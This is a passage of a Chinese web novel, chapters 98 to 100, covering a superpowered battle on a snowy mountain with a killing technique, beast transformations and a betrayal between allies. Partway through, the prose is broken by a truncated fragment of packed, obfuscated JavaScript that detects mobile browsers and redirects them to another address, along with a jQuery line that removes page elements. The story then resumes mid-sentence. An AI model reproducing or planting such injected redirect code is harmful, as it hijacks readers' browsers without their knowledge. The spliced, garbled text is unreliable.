仅仅是这一瞬间的松动,便被张玉汝敏锐地捕捉到了。 一直紧绷着神经的他,眼中骤然爆发出惊人的光芒。 白色的流光在他周身一闪而过,那是将 “刹那芳华” 催动到极致的表现,时间在他身上仿佛被压缩了一般。 原本封锁着他的层层镜面和刺骨寒气,像是瞬间走到了尽头,在他面前飞速褪去。 张玉汝成功脱身,身上的冰晶寸寸碎裂,掉落一地。但他没有丝毫撤离的意思,脚尖在雪地上轻轻一点,身形便如离弦之箭般朝着白镜杀了过去。 他的速度快得超乎想象,带起的劲风将地上的积雪卷起,形成一道白色的残影。即便白镜强忍着反噬带来的剧痛,迅速调整状态,想要调动寒冰与空间之力阻拦,却依旧慢了一步。 白镜刚凝聚起的冰墙,在张玉汝面前如同纸糊一般,被他轻易撞碎。他甚至没能看清张玉汝的动作,只觉得一道身影瞬间出现在自己眼前。 “天人五衰。” 张玉汝的声音冰冷而平静,不带一丝感情。 他的手掌带着一股奇异的力量,稳稳地落在了白镜的心口。 这一掌看似轻飘飘的,没有惊天动地的威势,却让白镜如遭雷击。 一股难以言喻的衰败之气从心口蔓延开来,他能清晰地感觉到自己体内的生机在飞速流逝,玄霜云珀带来的寒冰能量瞬间萎靡,碎空镜也失去了光泽,连带着他的身体都开始出现衰老的迹象,头发以肉眼可见的速度变得花白。 白镜瞪大了眼睛,脸上写满了难以置信和恐惧,他想挣扎,却发现自己浑身无力,只能眼睁睁地看着张玉汝的手掌按在自己心口,感受着那股衰败之力不断侵蚀自己的一切。 第 98章 意外的援手 “天人五衰”落下的瞬间,白镜只觉心口像是被塞进了一块正在腐烂的树根。 那股力量没有惊雷般的爆烈,却带着一种不可逆的衰败之意,顺着血管往四肢百骸钻,所过之处,仿佛有无数细小的虫子在啃噬生机。 最先出现的是“衣衰”。他身上那件用白狐皮**与冰蚕丝织成的锦衣,本是刀枪难入的护身之物,此刻却以肉眼可见的速度褪色、起皱。 原本光洁的皮**变得干枯发黄,一缕缕脱落下来,混着雪沫子飘落在地;冰蚕丝的纹路里渗出灰败的气息,袖口、衣襟处迅速磨损,像是被放置了百年的旧物,轻轻一碰就簌簌掉渣。 连他束发的玉簪都蒙上了一层灰翳,温润的光泽消失殆尽,变得黯淡无光。 紧接着是“华发衰”。 白镜那一头乌黑的长发,前一刻还在寒风中飘动,此刻却如被秋霜打过的草木,从发根处迅速泛白。 不过弹指间,青丝已成白雪,而且不是那种洁净的白,而是带着枯槁的灰,发丝变得脆弱易断,风一吹就断成一截截,落在肩头如同碎草。 他抬手去抓,指尖触到的却是一片冰凉的粗糙,再无往日的顺滑——这不是玄霜云珀的寒气所致,而是生命本源的枯萎。 “身形衰”来得更猛。他本因宗师境而变得挺拔的身躯,突然像被抽走了骨头般佝偻下去。 脖颈上的皮肤松弛下来,堆出层层褶皱,原本紧致的脸颊塌陷下去,眼窝深陷,嘴唇干瘪,露出青白的牙齿。 手臂上的肌肉以诡异的速度萎缩,原本能硬扛张玉汝重拳的臂膀,此刻细得像根枯柴,连抬起的力气都快没了。 玄霜云珀还在掌心散发着微弱的寒气,却再也无法滋养他的肉身,反而像是在加速冻结他残存的生机。 最可怕的是“气力衰”与“智慧衰”。 白镜想调动空间之力撕开裂隙逃遁,却发现体内的能量像是被堵住的河流,别说撕裂空间,连凝聚一丝微光都做不到。 碎空镜从他无力的掌心滑落,摔在雪地上发出清脆的响声,镜面映出他此刻的模样——一个头发花白、皮肤干瘪、眼神浑浊的老者,哪还有半分宗师的威严? 更让他绝望的是,脑海里原本清晰的招式、算计,此刻都变得模糊不清,像是蒙上了一层雾。 他想不起张玉汝的破绽在哪里,想不出破解“天人五衰”的方法,甚至连自己的名字都在嘴边打转,却怎么也喊不出来。 “嗬……嗬……”白镜张着嘴,却发不出完整的声音,只有浑浊的气息从喉咙里挤出,带着腐朽的味道。 他看着张玉汝收回手掌,看着对方身上的能量渐渐消散,看着自己的手指以肉眼可见的速度变得僵硬、发黑,终于明白——自己败了,败得彻彻底底。 玄霜云珀从他掌心滚落,在雪地上弹了两下,最后停在张玉汝脚边。那枚曾被白镜视作翻盘希望的宝物,此刻像一块普通的冰石,再无半分光华。 而白镜的身躯,正以更快的速度衰败下去,皮肤失去最后的血色,化作与冰雪相近的青白,最后连站立的力气都没了,直挺挺地向后倒去,摔在雪地里,再也没有动弹。 风雪卷过,覆盖在他枯槁的身躯上,很快便堆起薄薄一层雪。 “天人五衰”本是张玉汝为那些自诩高洁的天人们准备的专属杀招。 那些生而无垢、居于云端的天人,一旦中了这招,便会褪去所有神圣光环,露出衰老、丑陋的姿态——华美的天衣会变得褴褛,璀璨的神光会化作浊气,连说话的声音都要染上腐朽的沙哑。 凭着这招,张玉汝杀了不少的天人,不知多少自视甚高的天人在他掌下露出仓皇丑态,也让他得了个“天人屠夫”的凶名。 天人们恨他入骨,却又怕这等丑态与败绩传扬出去,动摇他们在世间的神圣地位,便拼命掩盖张玉汝的存在,销毁所有关于他的记载,甚至派专人追杀一切知晓内情的人。 可越是遮掩,越是引得其他势力好奇——能让高高在上的天人如此忌惮的,究竟是何方神圣? 或许是追杀张玉汝耗费了太多精力,或许是他们骨子里的傲慢让他们低估了世人的探查能力,总有些零碎的信息如同漏网之鱼,悄悄流到了各大势力的案头。 先前张玉汝动用“颠倒”“枯木逢春”“刹那芳华”时,远处观战的雷鸣、雨萱等人虽觉他实力强悍,却也只当是某个隐世强者,并未过多联想。 可当“天人五衰”这四个字伴随着那股衰败之力响起时,四人脸色齐齐一变,眼中闪过震惊与恍然。 “是他……那个被天人追杀的张玉汝!”雷鸣失声开口,声音里带着难以置信。 自然教会的资料里曾隐晦提过这个名字,说他是天人族群的眼中钉,也是唯一一个能让天人失态的存在。 丁璎珞握着折扇的手指猛地收紧,红裙下的**险些滑落。 天道教与天人素有交锋,她曾在一次密会中听过长老们提及“天人五衰”,说那是能让天人褪去神性的禁忌之术,施术者正是那个让天人恨之入骨的张玉汝。 雨萱与林逸对视一眼,都从对方眼中看到了凝重。 他们虽隶属不同势力,却也或多或少听过关于天人的秘闻,此刻终于将眼前这个从容狠厉的身影,与那些只言片语的传说重合——原来他就是那个搅动风云的家伙。 而被衰败之力侵蚀得不成样子的白镜,在听到“天人五衰”四个字时,浑浊的眼中突然爆发出一丝清明。他佝偻着身子,枯瘦的手指死死抠着雪地,像是想从记忆深处挖出某个被遗忘的片段。 “原来……是你。”他的声音嘶哑得如同破锣,每一个字都像是从喉咙里挤出来的,“那个……几年前在我手里……挣扎的小鬼……” 零碎的记忆碎片终于拼凑起来,他想起了自己在豫州的所作所为,想起了自己当作玩具戏弄的几个年轻能力者。 可他怎么也想不到,那个在自己手里如同玩物的小鬼,如今竟能成长到这般境界。 “噗——”又一口黑血从白镜嘴里涌出,他看着张玉汝平静无波的侧脸,心态再次失衡。 张玉汝指尖的黑白能量球脱手而出,带着撕裂空气的锐啸射向白镜的头颅。 那球体在空中不断旋转,黑色的能量如同墨汁般吞噬着光线,白色的能量却泛着刺眼的光泽,两种截然相反的力量相互撕扯、碰撞,散发出足以扭曲存在的威势。 就在能量球即将触及白镜眉心的刹那,一道灰影如离弦之箭般从冰崖后激射而出,堪堪挡在了白镜身前。 “砰——”黑白能量球在冯难胸口炸开,两股性质相悖的能量瞬间爆发,形成一道肉眼可见的能量冲击波。 黑色能量疯狂湮灭着接触到的一切,白色能量则在疯狂增生,两种力量的冲突如同天地初开时的混沌,将周围千年不化的寒冰炸得粉碎。 有的冰渣在白色能量中直接升华成虚无,有的则在黑色能量的催化下化作水珠,漫天飞溅的水珠还未落地,又被雪山的寒气冻结,化作一场狂乱的冰雨,噼啪作响地砸向四周。 冯难被这股冲击力掀得连连后退,胸口的衣袍瞬间被炸得粉碎,露出的皮肤上布满了焦黑与冰霜交织的痕迹。 冰雨落在他身上,打得他狼狈不堪,发丝黏在满是血污的脸上,像只落汤鸡般摇摇欲坠,却依旧死死挡在白镜身前,用身体护住了那个已经奄奄一息的家伙。 “为什么会是这个家伙?”雷鸣、雨萱等人同时在心底冒出这个疑问。 冯难与白镜素无交情,此刻却用身体为白镜挡下致命一击,这举动实在让人费解。 若换成雷鸣或雨萱出手,好歹能扯上自然教会的同门情谊,可冯难此刻的挺身而出,就像一块突然投入平静湖面的石头,激起满湖困惑的涟漪。 与众人的惊疑不同,张玉汝的面色自始至终没有半分波动。他看着挡在身前的冯难,眼神平静得像一潭深不见底的寒水,仿佛对方的出现早已在他预料之中。 黑白能量在他掌心再次凝聚,这一次的光芒比刚才更加浓郁,显然是动了真怒。 “碍事。”他吐出两个字,语气里听不出喜怒,却带着不容置疑的决绝。 在他看来,挡在白镜身前的无论是谁,都只是需要清除的障碍。 冯难既然敢插手,就要有承担后果的觉悟。冯难咳着血,抬起头看向张玉汝,脸上竟露出一丝诡异的笑容:“你杀不了他。”他的声音嘶哑,却带着一种笃定,“白镜不能死,至少现在不能。” 话音未落,张玉汝的第二记能量球已破空而至。 这一次,冯难没有硬接,而是猛地拽起地上的白镜,借着冰雨的掩护向冰崖后掠去。 他的速度不算快,却总能在能量球及体前的刹那,躲进冰棱的阴影里,仿佛对这雪山的地形了如指掌。张玉汝眼神一凝,脚下的“刹那”再次催动,身形如影随形地追了上去。 黑白能量在他指尖跳跃,随时准备给予对方致命一击。 “刹那。”低沉的喝声裹挟着破风锐啸,张玉汝的身影化作一道纯白流光,几乎与雪山的反光融为一体。 他左手凝聚的黑白能量已彻底化作一柄锋利无匹的短刃,刃身流转着湮灭与增生的双重光晕,在触及冯难后背的刹那,毫无阻碍地破开了那层看似坚韧的灰色气流防御。 “噗嗤——”利刃入肉的声响在风雪中格外清晰。 短刃毫无滞涩地**冯难的胸口,几乎没至柄处。 冯难的身体猛地一僵,嘴角喷出的血珠在空中划出一道猩红的弧线,却在剧痛袭来的瞬间,眼中爆发出惊人的狠厉。 他没有后退,反而猛地收腹,全身肌肉与骨骼同时绷紧 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“呃啊——”冯难发出一声压抑的痛呼。 原本用于增幅速度的“加速世界”,此刻被张玉汝扭曲成了催命符——能量疯狂刺激着他的心脏起搏,血液在血管里奔涌的速度越来越快,冲击得脑血管突突直跳,头痛欲裂的感觉如同有无数根钢针在太阳穴里搅动。 他能清晰地感觉到心脏在胸腔里疯狂收缩、扩张,每一次跳动都带着撕裂般的疼痛,仿佛下一秒就要从嗓子眼里蹦出来。 全身的血管因急速充血而暴涨,皮肤表面浮现出蛛网般的青紫色纹路,连眼球都布满了血丝,视线开始出现重影。 这便是能力应用的灵活之处——将本是增益的加速能力,精准作用于单一器官,使其在超负荷运转中走向崩溃。 冯难的肉身韧性再强,也终究有承受极限,心脏的跳动频率早已超出了他的生理阈值,每多跳一次,就离心脏爆裂更近一步。 冯难死死咬着牙,试图调动那层灰色气流压制心脏的狂跳,可“加速世界”的能量早已与他的心跳频率绑定在一起,越是抵抗,心脏的震颤便越发剧烈。 他能感觉到自己的意识正在模糊,耳边只剩下越来越响的心跳声,像是在为自己的死亡倒计时。 而被钳制的张玉汝,依旧保持着稳定的输出。 他看着冯难因充血而涨红的脸,看着对方眼中渐渐浮现的绝望,左手的白色能量流转得愈发稳定。 “吼——!”震耳欲聋的咆哮撕裂风雪,冯难的心脏在超负荷跳动中骤然炸开,滚烫的血液混着碎裂的脏器喷溅而出。 然而,预想中的死亡并未降临——那些炸开的血肉并未散落,反而在半空中化作道道赤红色的能量流,如同燃烧的火蛇般疯狂缠绕、汇聚。赤红色的能量流中,夹杂着冯难原本那层灰色气流,两种颜色交织碰撞,竟迸发出刺目的火光。火焰没有向外蔓延,而是向内收缩,将所有能量凝聚成一团不断翻滚的光茧。 光茧表面浮现出细密的纹路,像是某种巨兽的鳞片,在雪山的寒雾中泛着诡异的光泽。 “咔嚓——”光茧骤然破裂,一头庞然大物破茧而出。它通体覆盖着灰色的鬃**,鬃毛根部却燃烧着赤红色的火焰,每一根毛发都像是燃尽的灰烬,却又暗藏着复燃的灼热。 巨兽身形似狮似熊,四肢粗壮如柱,踏在雪地上时,冰层竟被蹄爪下的余温融化,冒出阵阵白气;它的头颅生着一对弯曲的巨角,角尖缠绕着火焰,双眼则是两团跳动的赤红火光,死死锁定着张玉汝。 这哪里还是人形?分明是一头从炼狱深处爬出的炎狱巨兽。 冯难的意识似乎已与巨兽融合,咆哮声中带着他原本的嘶哑,却又多了几分**的狂暴。 它没有立刻攻击,只是猛地吸气,周围的风雪竟被它口鼻间喷出的热气蒸腾成白雾,赤红色的能量在它喉咙里滚动,像是在酝酿着毁天灭地的一击。 张玉汝终于收起了那副从容的神态,眼神凝重地看着眼前这头巨兽。 他能感觉到,冯难的气息并未因形态变化而紊乱,反而比之前更加凝实——那些赤红色的火焰能量,竟是将他原本的韧性防御与新的破坏力完美结合,每一寸毛发都蕴含着既能灼烧又能缓冲攻击的诡异力量。 “有点意思。”张玉汝缓缓抽出被巨兽化的冯难挣脱的左手,指尖的黑白能量再次凝聚,“看来,你藏的东西,比我想的要多。” 巨兽发出一声震耳的咆哮作为回应,前肢猛地踏地,赤红色的火焰瞬间在雪地上蔓延出数丈,形成一道火墙,将张玉汝与身后的白镜彻底隔开。 它张开巨口,赤红色的能量在口中凝聚成一颗不断膨胀的火球,空气都被这股高温扭曲,连远处观战的雷鸣等人都感受到了扑面而来的热浪。 第 99章 纷纷跳反 冯难化身的炎狱巨兽那震耳欲聋的咆哮,如同惊雷般在雪山之巅炸响,声波席卷之处,积雪簌簌滑落,冰层嗡嗡作响。 而在不远处的冰崖下,原本一直浑浑噩噩、眼神涣散的万年,像是被这声咆哮狠狠抽了一鞭。他那迷离的双眼骤然睁大,瞳孔中闪过一丝清明,仿佛从长久的混沌中挣脱出来。 “吼——!” 几乎是同一时间,万年的口中也爆发出一声狂暴的吼声。 这吼声不同于冯难巨兽的嘶哑与炽热,充满了原始而野性的力量,像是来自大地深处的怒吼,震得脚下的冰层都在微微颤抖。 紧接着,令人瞠目结舌的一幕发生了。 这个向来散发着野性之美的家伙,竟四肢着地,如同最原始的猛兽般伏低了身体。他的手指和脚趾变得粗壮而尖锐,指甲深深嵌入冰层,留下一道道清晰的划痕。 “咔嚓、咔嚓……” 随着万年身体的伏低,大地开始剧烈震动,一道道狰狞的裂缝以他为中心向四周蔓延开来,仿佛整个雪山之巅都要被撕裂。更令人震惊的是,无数的土石从裂缝中翻滚而出,像是受到了无形力量的牵引,疯狂地朝着万年的身上**。 土石不断地在他身上堆砌、融合,很快就勾勒出一个庞大的轮廓。 土黄色的光芒从这些土石中迸发出来,笼罩了整个堆砌而成的形体,光芒越来越盛,将周围的一切都染上了一层土黄色的光晕。 在光芒的笼罩下,土石的轮廓越来越清晰,越来越凝实。原本松散的土石仿佛被某种力量淬炼过一般,变得坚硬无比,表面还浮现出如同岩石纹理般的纹路。 当土黄色的光芒渐渐消散,一头比冯难化身的炎狱巨兽还要庞大数圈的棕褐色巨兽出现在众人眼前。 它身躯如同小山般巍峨,四肢粗壮得如同巨大的石柱,每一次踏在地上,都让大地发出不堪重负的呻吟。 它的体表覆盖着厚厚的岩石铠甲,闪烁着冰冷的光泽,头部如同狰狞的岩石巨兽,双眼燃烧着土黄色的光芒,透着一股厚重而威严的气息。 万年化身的棕褐色巨兽张开巨口,发出一声低沉而威严的咆哮,声音传遍了整个雪山之巅,仿佛在宣告自己的降临。 它转动着巨大的头颅,目光扫过在场的每一个人,最终落在了冯难化身的炎狱巨兽身上,眼中充满了野性。 这突如其来的变故,让原本就激烈的战局变得更加扑朔迷离。 张玉汝看着眼前两头庞大的巨兽,眼神愈发凝重,他知道,接下来的战斗,将会更加艰难。而远处的雷鸣、雨萱等人,更是看得目瞪口呆,完全没想到万年竟然也隐藏着如此惊人的力量。 棕褐色巨兽的咆哮尚未消散,冯难化身的炎狱巨兽已率先发动攻击。 它四肢猛地蹬地,灰色鬃**间的火焰骤然暴涨,如同一道赤色洪流朝着张玉汝猛冲而去。 所过之处,积雪瞬间被蒸腾成白雾,冰层融化成一滩滩沸水,留下一道冒着热气的焦黑轨迹。 张玉汝足尖点地,身形向后急退,同时左手凝聚出黑白能量盾。 炎狱巨兽的巨爪带着撕裂空气的劲风拍来,与能量盾碰撞的刹那,火焰与能量爆发的冲击波将周围的冰崖震得簌簌作响,无数冰块从崖顶滚落,落向看不到底的山脚。 就在张玉汝抵挡炎狱巨兽的同时,棕褐色巨兽也动了。 它庞大的身躯看似笨重,速度却丝毫不慢,四肢踏在地上,大地剧烈震动,一道道土石尖刺从张玉汝脚下猛地窜出,如同生长的石林,想要将他困在其中。 张玉汝眼神一凛,身形在空中做出一个诡异的转折,险之又险地避开土石尖刺。 可他刚稳住身形,炎狱巨兽的巨口已张开,一颗赤红色的火球带着高温呼啸而至。张玉汝不敢硬接,只能再次躲闪,火球落在他刚才所处的位置,瞬间炸开,形成一片火海,火焰烧得冰雪滋滋作响,冒出大量蒸汽。 两头巨兽一左一右,配合得极为默契。 炎狱巨兽负责用火焰和速度进行猛攻,棕褐色巨兽则利用土石操控改变地形,限制张玉汝的移动。它们的每一次攻击,都对雪山环境造成极大的破坏。 炎狱巨兽的火焰让大片冰雪消融,露出底下深色的岩石;棕褐色巨兽引发的土石变动,让原本平整的雪地变得沟壑纵横,甚至有几处小型冰崖因震动而坍塌。 张玉汝在两头巨兽的**下,渐渐落入下风。他不断地在火焰与土石之间穿梭,身上已沾染了不少火星,衣服被土石尖刺划破了好几处。但他依旧沉着冷静,双眼紧盯着两头巨兽的动作,寻找着反击的机会。 “颠倒!”张玉汝突然低喝一声,双手对着炎狱巨兽拍出的火焰猛地一推。那片朝着他扑来的火海瞬间改变方向,朝着棕褐色巨兽而去。 棕褐色巨兽没想到火焰会突然转向,一时不备,被火焰烧中了腿部。 虽然岩石铠甲对火焰有一定的抵抗能力,但还是被烧得冒出黑烟,它发出一声愤怒的咆哮,攻势也因此停滞了一瞬。 就是这一瞬的停滞,给了张玉汝机会。 他身形如电,几乎化作一道白色流光,瞬间欺近炎狱巨兽的身前。右手之上,黑白二色的能量疯狂交织,其中蕴含的“枯荣”衰败之力比以往任何时候都要浓郁,仿佛握着一片正在迅速凋零的天地。 “砰!” 张玉汝的手掌带着千钧之力,狠狠拍在炎狱巨兽的胸口。 “嗷呜——” 炎狱巨兽发出一声痛苦的哀嚎,声音中充满了前所未有的凄厉。 它胸口那片原本燃烧着熊熊火焰的灰色鬃**,被这一掌打得焦黑一片,火焰像是被泼了一盆冷水,瞬间黯淡了不少,原本炽热的温度也降低了几分。庞大的身躯在巨大的冲击力下,不由自主地向后退了几步,每一步都让脚下的大地剧烈震动。 然而,尽管这巨兽表现得极为痛苦,但其伤势远没有达到张玉汝预期的程度。 能让生灵迅速衰老的“枯荣”之力,对这头炎狱巨兽并非毫无效果。 张玉汝能清晰地感知到,自己手掌拍中的地方,巨兽的血肉正在以肉眼可见的速度失去生机,变得干瘪、枯槁,如同被岁月无情侵蚀过的朽木。那片焦黑之下,是能量所及之处带来的彻底枯死。 可问题在于,这巨兽的体型实在是太过庞大了。 张玉汝那一击所蕴含的“枯荣”之力,对于寻常生物而言,足以让其瞬间衰老、生机断绝。 但对于这头如同小山般的炎狱巨兽来说,这点能量就像是投入大海的一颗石子,根本掀不起多大的波澜。能量耗尽之时,也仅仅是在它胸口留下了一块不算太大的枯死区域,对于整个庞大的身躯而言,实在是微不足道。 这并非“枯荣”之力效果不佳,而是剂量远远不够。 巨大的体型所带来的优势,在这一刻体现得淋漓尽致。 这就如同人人谈之色变的癌症,对于蓝鲸这种海洋巨无霸而言,根本算不上什么大不了的事情。 即便肿瘤长到最为极限的大小,对于蓝鲸庞大的身躯来说,依然只是九牛一毛,不会对其生命造成根本性的威胁。此刻的炎狱巨兽,便是如此。 张玉汝看着炎狱巨兽胸口那片有限的枯死区域,眼神变得更加凝重。 他知道,想要凭借“枯荣”之力快速解决这头巨兽,几乎是不可能的事情。 必须想别的办法,或者积攒更强大的力量,才能对这头庞然大物造成真正致命的伤害。 而就在这时,炎狱巨兽缓过神来,眼中的火光变得更加狂暴。 它似乎被张玉汝这一击彻底激怒,再次张开巨口,酝酿着更加强大的攻击,誓要将眼前这个渺小却难缠的人类撕碎。 棕褐色巨兽也再次逼近,土石翻滚,准备配合炎狱巨兽,给张玉汝致命一击。张玉汝面临的局势,愈发凶险了。 战斗愈发激烈,雪山之巅仿佛变成了一个巨大的战场。两头巨兽的咆哮声、火焰燃烧的噼啪声、土石碰撞的轰鸣声交织在一起,震撼着每一个人的心灵。 而张玉汝的身影,在这片混乱之中,如同惊涛骇浪中的一叶扁舟,看似危险,却始终没有被彻底吞没。 最初的震撼如同雪地里炸开的惊雷,让观战的雷鸣、雨萱等人一时失语。 但在场的都是刀尖上讨生活的角色,愣神不过瞬息,便纷纷从这场惊变中回过神来,眼神里的惊骇渐渐被深思取代。 张玉汝的**曝光后,他能爆发出如此恐怖的战力,反倒成了最合理的事。 毕竟是那个亲手斩杀天人、还能从天人追杀中数次逃脱的狠角色。 这么一想,白镜的惨败虽依旧透着几分滑稽,却比“被无名之辈碾压”要容易接受得多——输给这样的狠人,至少不算折辱了宗师的名头。 冯难与万年化身巨兽的举动,解开了众人心中盘桓已久的疑团。 自然教会与异兽族群千丝万缕的联系,本就是公开的秘密——他们共享秘境资源,甚至在某些区域联手布防,只是从未有人能摸清这份合作的深浅。 可当两头巨兽为了一个濒死的白镜悍然出手,这份默契便露出了藏在水面下的獠牙。 “原来如此……”丁璎珞缓缓摇着折扇,**扇骨在雪光下泛着温润的光泽,扇面半遮半掩地挡住唇角的弧度,只露出一双流转着精光的凤眼,“冯难哪是在救白镜?他是在护着自然教会和异兽的计划吧。” 白镜对于异兽们来说或许算不上什么重要的角色,但他是白磬的后人。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16067328|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那位自然教会的实权长老,与异兽族群的几位首领过从甚密,甚至有传言说,他能以人类之身号令部分低阶异兽。 冯难与万年此刻不惜暴露底牌化身巨兽,舍命相护的绝不是白镜这条废棋,而是异兽与白磬之间的关系。 否则,以异兽族群向来桀骜不驯的性子,怎会为一个不相干的人类宗师赌上性命? 众人的目光不约而同地落在雪地里那具奄奄一息的躯体上。 白镜的胸口仍在微弱起伏,玄霜云珀的寒气早已散尽,只剩下一层灰败的死气。 若是此刻躺在那里的是雷鸣或雨萱,冯难与万年怕是连眼皮都不会抬一下。 林逸突然嗤笑一声,指尖把玩着腰间的玉佩,声音不大却像冰锥般刺破风雪:“自然教会藏的东西,比咱们想的要多啊。” 连异兽都能驯化成这般死士,这份手笔,足以让任何势力忌惮。 “不过看起来,这两个可怜的家伙对此一无所知。”丁璎珞轻摇折扇,目光扫过远处被火焰与土石包裹的战场,语气里带着几分玩味的怜悯。 她口中的“可怜虫”,显然是指自然教会的雷鸣与雨萱。 感受着那道若有似无的怜悯目光,雷鸣的脸颊瞬间涨红,一股怒气直冲头顶。 他攥紧拳头,指节因用力而发白——谁要这妖女假惺惺的同情?可转念一想,丁璎珞的话倒点醒了他。 两头巨兽正被张玉汝死死缠住,咆哮与碰撞声震得冰崖簌簌落雪,注意力全在那场生死厮杀上。 雷鸣眼中闪过一丝决断。他突然化作一道刺眼的电光,无视漫天飞溅的冰碴与火星,径直朝着白镜所在的方向冲去。 他的目标从不是趁乱补刀。恰恰相反,他要救白镜。 电光划过雪地,留下一道转瞬即逝的残影。 虽然之间存在着竞争关系,但是在白镜吸收玄霜云珀的力量之后,之前的竞争已经结束了。 在这种时候对白镜出手对于雷鸣而言没有任何的好处。 而且在张玉汝身份暴露之后,雷鸣知道,对方在干掉白镜之后,如果仍有余力的话,一定不会介意顺便干掉自己。 再考虑到白磬的存在,以及冯难万年的战队,选择站在哪一边不就是很清晰的答案了吗? 在雷鸣行动的同时,雨萱也动了起来,让人惊讶的是,作为雷电类能力者的雷鸣在率先出发的情况下,竟然被雨萱反超了。 看着拦在自己身前的雨萱,雷鸣皱起眉头。 “你想要干什么?”雷鸣质问道,他无法理解,难道雨萱在这个时候也要和他争夺抢救白镜的机会吗? “当然是拦着你了。”雨萱笑道。她的笑容带着一种异样的甜美,与平时的温婉截然不同,像是覆盖在寒冰上的糖霜,好看却透着寒意。 不对劲,十分的不对劲,雷鸣心中升起警惕,眼前的雨萱给了他一种十分陌生的感觉。 原本的雨萱总是给人一种相当弱气的感觉,说话轻声细语,就连出手都带着几分犹豫,仿佛生怕伤到别人。 但是现在的雨萱,站在那里,身姿挺拔,眼神锐利,周身散发着一股不容置疑的气场,让雷鸣感觉十分危险,就像是面对一头看似温顺实则致命的毒蛇。 “你知道你在做什么吗?”雷鸣的声音带着一丝警告,周身的电光变得更加刺眼,“救白镜,对我们都有好处。” 雨萱轻轻摇了摇头,嘴角依旧挂着那抹诡异的笑容:“好处?什么好处?看着你把他救走,然后让他恢复实力,再回来把我们都收拾掉吗?还是说,你觉得张玉汝**掉之后,我们就能安然无恙了?” 她的话像一把冰冷的**,刺向雷鸣心中最深处的顾虑。 雷鸣的眉头皱得更紧了:“你到底想干什么?” “我不想干什么,”雨萱的眼神突然变得凌厉起来,周身散发出凛冽的寒气,“我只是不想让你的愚蠢,毁掉我们所有人的生路。” 话音未落,雨萱的双手轻轻一挥,无数冰刃凭空出现,朝着雷鸣射去。这些冰刃比之前更加锋利,更加密集,带着一股决绝的杀意。 雷鸣没想到雨萱会突然动手,心中一凛,连忙调动全身的雷电之力,形成一道坚固的雷电屏障。冰刃与雷电碰撞,发出噼里啪啦的声响,无数冰屑与电光飞溅。 “你疯了!”雷鸣怒吼道,他不明白雨萱为什么会突然变得如此极端。 雨萱没有回答,只是不断地凝聚冰刃,发动着猛烈的攻击。她的眼神坚定,仿佛已经做出了某种不容更改的决定。 远处的战斗依旧激烈,而在这里,一场新的冲突已经爆发。 雷鸣和雨萱的身影在雪地上快速交错,电光与冰刃交织在一起,形成了一道独特而危险的风景线。 第 100章 看戏 “嗤啦——”雷鸣周身的电光骤然暴涨,形成一道半透明的雷电屏障,试图挡住雨萱射来的冰刃。 可那些冰刃却像是长了眼睛,在接近屏障的瞬间突然变向,有的贴着屏障边缘滑过,有的则在空中折射出诡异的角度,从雷鸣防御的死角刺来。 “铛!”雷鸣仓促间侧身,冰刃擦着他的肋骨飞过,在雪地上钉出一道半寸深的裂痕。 他心头剧震——这绝不是雨萱以往的水准。 从前的雨萱操控能力时时虽精准,却总带着几分犹豫,可此刻的冰刃不仅速度快了三成,每一道轨迹都透着狠辣的算计,仿佛在演练过千百遍般,死死锁着他的闪避路线。 “你究竟是谁?” 雷鸣低吼着踏前一步,右脚猛地跺向地面。 电流顺着冰层蔓延,在雨萱脚下炸开一片电网,蓝色的电弧如同毒蛇般窜向她的脚踝。 这是他惯用的牵制手段,过去的交手当中,雨萱总会被这招逼退。 可这一次,雨萱只是轻轻旋身,裙摆扫过雪地时带起一片冰晶。 那些冰晶落在电网上,竟瞬间冻结成一层薄冰,电弧在冰面上滋滋作响,却无法穿透半分。 她借着旋转的势头,右手凝聚出一柄三尺长的冰枪,枪尖泛着青白色的寒光,直刺雷鸣心口。 雷鸣急忙后掠,冰枪擦着他的肩头飞过,带起的寒气让他半边身子瞬间发麻。 他下意识想凝聚雷电反击,却发现右臂的电流竟出现了刹那的滞涩——刚才冰枪掠过时,竟有一缕极细的寒气顺着毛孔钻进了他的经脉,正与雷电之力相互冲撞。 “怎么会……”雷鸣难以置信地看着自己的手臂。 他的雷电之力本是至阳至刚,最能克制阴寒能量,可雨萱的寒气却像附骨之疽,不仅没被电流驱散,反而在经脉里冻出细密的冰碴,让他每一次调动能量都伴随着刺痛。 雨萱没有给他喘息的机会。 她左脚轻点,身形如同一片雪花般飘向前,左手一挥,十数道冰链从雪地中窜出,如同灵活的蛇群缠向雷鸣的四肢。 冰链上覆盖着细小的倒刺,倒刺上闪烁着幽蓝的光泽,显然淬了某种能麻痹神经的寒毒。 雷鸣被迫连连后退,脚下的冰层被他踩得咔咔作响。他试图用雷电熔断冰链,可冰链刚被劈断,断口处便立刻凝结出新的链条,反而越缠越紧。 更让他憋屈的是,雨萱的身影始终保持在他三尺之外,既不近身,也不远离,像一只优雅的猎手,用冰刃、冰枪、冰链不断消耗着他的体力与能量,让他连近身搏杀的机会都没有。 “喝!”雷鸣猛地吸气,将全身雷电之力凝聚成一道丈长的雷矛,矛尖直指雨萱面门。 这是一招威力极大的单体攻击,过去只需一招,便能逼得雨萱束手束脚。 可雨萱只是微微偏头,身后突然升起一道冰墙。 雷矛狠狠撞在冰墙上,炸开的电弧让冰墙瞬间布满裂纹,却未能将其彻底击碎。 而在雷矛炸开的瞬间,雨萱已绕到冰墙侧面,手中的冰枪带着破空声,刺穿了雷鸣右臂的衣袖,将一道寒气钉进他的皮肉。 “呃!”雷鸣痛呼一声,右臂瞬间失去知觉。 他看着自己手臂上迅速蔓延的青黑色,心中涌起一股陌生的恐慌——他从未被雨萱压制得如此狼狈,甚至连对方的动作都有些看不清了。 雨萱落在三丈外的雪地上,裙摆上沾着的冰晶折射出冷冽的光。 她看着雷鸣慌乱的模样,嘴角勾起一抹冰冷的弧度:“雷鸣,看来你还活在过去的认知里。” 话音未落,她双手结印,周围的积雪突然腾空而起,在她身前凝结成一头冰狮。 